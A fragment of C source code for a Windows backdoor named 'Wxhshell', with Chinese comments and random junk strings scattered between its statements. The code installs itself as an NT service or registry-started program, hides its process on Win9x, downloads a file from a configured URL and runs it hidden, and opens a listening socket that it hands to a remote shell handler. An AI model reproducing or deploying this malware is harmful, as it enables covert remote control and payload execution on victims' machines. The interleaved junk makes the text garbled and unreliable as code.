sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EDl*UG83G n0ZrgTVJ CloseHandle(hProcess); fAMk<? L[|($vQ" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ke*tLnO if(hProcess==NULL) return 0; z!M8lpIM %OIJ. HMODULE hMod; am'11a@* char procName[255]; L<}0}y unsigned long cbNeeded; #cnh
~O +;T `uOF} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yobcAV` /S9(rI<' CloseHandle(hProcess); fLtN-w6t =T?:b8yV if(strstr(procName,"services")) return 1; // 以服务启动 M_OvIU(E a_GnN\kX^Z return 0; // 注册表启动 eTeZ^G } ,cesQ
ou O<RLw)nzg // 主模块 DL t "cAW int StartWxhshell(LPSTR lpCmdLine) 8JFns-5 { Asy&X SOCKET wsl; E.'v,GYe BOOL val=TRUE; ~l^Q~W-+ int port=0; Jp d|<\Ml struct sockaddr_in door; t1Zcr#b> _x2i=SFo*$ if(wscfg.ws_autoins) Install(); kL7n`o 1Z h4)6x port=atoi(lpCmdLine); {\-9^RL Ue=Je~Ri;9 if(port<=0) port=wscfg.ws_port; }%T8?d] MyJ\/` 8 WSADATA data; X%Lhu6F if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n&n WY+GEo vOIzfwYG9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \U?$ r[P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @mJ#~@*( door.sin_family = AF_INET; UG!528;7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 38 -vt,| door.sin_port = htons(port); l9P=1TL B1U<m=Y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DH>>u closesocket(wsl); %3:[0o={d return 1; z{q|HO } 8E+]yB" *B3 4 if(listen(wsl,2) == INVALID_SOCKET) { "8-;Dq'+ closesocket(wsl); na4^>:r~ return 1; QyEGK } SJJ[y"GvD Wxhshell(wsl); M}S1Zz%Ii1 WSACleanup(); hHsN(v nn?h;KzB return 0; JS^QfT,zE z*w.A=r } ;S5J"1)O~ j`o_Stbg // 以NT服务方式启动 0^m`jD VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |nMg.t`8 { 0zHMtC1, DWORD status = 0; n90DS/Yx DWORD specificError = 0xfffffff; _pN:p7l( N fBH serviceStatus.dwServiceType = SERVICE_WIN32; ;]PP+h serviceStatus.dwCurrentState = SERVICE_START_PENDING; `Q!#v{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xo.k:F serviceStatus.dwWin32ExitCode = 0; v[+ ] serviceStatus.dwServiceSpecificExitCode = 0; =A]*r9 serviceStatus.dwCheckPoint = 0; ecsQshR serviceStatus.dwWaitHint = 0; TZ+- >CG NE)Yd7m- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @d1YN]ede if (hServiceStatusHandle==0) return; Errs6 %Ek!3t status = GetLastError(); G&z^AV if (status!=NO_ERROR) bP)(4+t~ { Kk\TW1w3 serviceStatus.dwCurrentState = SERVICE_STOPPED; xh:A*ZI=7 serviceStatus.dwCheckPoint = 0; L:_GpZ_ serviceStatus.dwWaitHint = 0; uefrE53 serviceStatus.dwWin32ExitCode = status; :lBw0{fP serviceStatus.dwServiceSpecificExitCode = specificError; $}8@?>-w SetServiceStatus(hServiceStatusHandle, &serviceStatus); [aF"5G return; ;@FCaj& } BS|$-i5L Qv}TUX4 serviceStatus.dwCurrentState = SERVICE_RUNNING; ^5n#hSqZ=M serviceStatus.dwCheckPoint = 0; j_{f(.5 serviceStatus.dwWaitHint = 0; 3]li3B' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W QqOXF } !!+LFe4su t\XA
JU // 处理NT服务事件,比如:启动、停止 "8iIOeY-\ VOID WINAPI NTServiceHandler(DWORD fdwControl) QJF_ " { :ggXVwpe switch(fdwControl) JI[{n~bhGD { D%*Ryg case SERVICE_CONTROL_STOP: _A~>?gJ;, serviceStatus.dwWin32ExitCode = 0; f=IF_|@^S serviceStatus.dwCurrentState = SERVICE_STOPPED; 7DPxz'7): serviceStatus.dwCheckPoint = 0; sH.,O9'r serviceStatus.dwWaitHint = 0; L _Xbca= { 8gxo{<,9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); k![oJ.vHD } _%wB*u,X return; kD
me>E= case SERVICE_CONTROL_PAUSE: )4R[C={ serviceStatus.dwCurrentState = SERVICE_PAUSED; %uz6iQaq]X break; 5VSc5*[ case SERVICE_CONTROL_CONTINUE: ~7wLnB serviceStatus.dwCurrentState = SERVICE_RUNNING; |pZ:5ta# break; kjF4c6v case SERVICE_CONTROL_INTERROGATE: *RmD%[f break; R0urt }; /5X_gjOL, SetServiceStatus(hServiceStatusHandle, &serviceStatus); AO,^v+$ } #sE:xIR k'NP+N<M // 标准应用程序主函数 ~U4Cf > int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OHv4Yy]$B { x~ID[ tB`IBuy9!" // 获取操作系统版本 v0( _4U]/ OsIsNt=GetOsVer(); d~q7! GetModuleFileName(NULL,ExeFile,MAX_PATH); j8+>E?nm )"J1ET,z // 从命令行安装 ?e\u_3-9 if(strpbrk(lpCmdLine,"iI")) Install(); ,0eXg sB!6"D5 // 下载执行文件 'vV+Wu#[ if(wscfg.ws_downexe) { R5xV_;wD if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M5P3; WinExec(wscfg.ws_filenam,SW_HIDE); &79F
Uac } p)?6~\F: )<$<9!L4x if(!OsIsNt) { l{Et:W%| // 如果时win9x,隐藏进程并且设置为注册表启动 MkWbPm) HideProc(); !+DhH2;)F StartWxhshell(lpCmdLine); ,u9>c*Ss\ } ==S^IBG else dM-~Qo if(StartFromService()) >-y}t9[/ // 以服务方式启动 z'*{V\ StartServiceCtrlDispatcher(DispatchTable); ]TN/n%\ else rH'|$~a // 普通方式启动 vGOO"r(xL StartWxhshell(lpCmdLine); ikO9p|J I|Mw*2U return 0; Lj/ }
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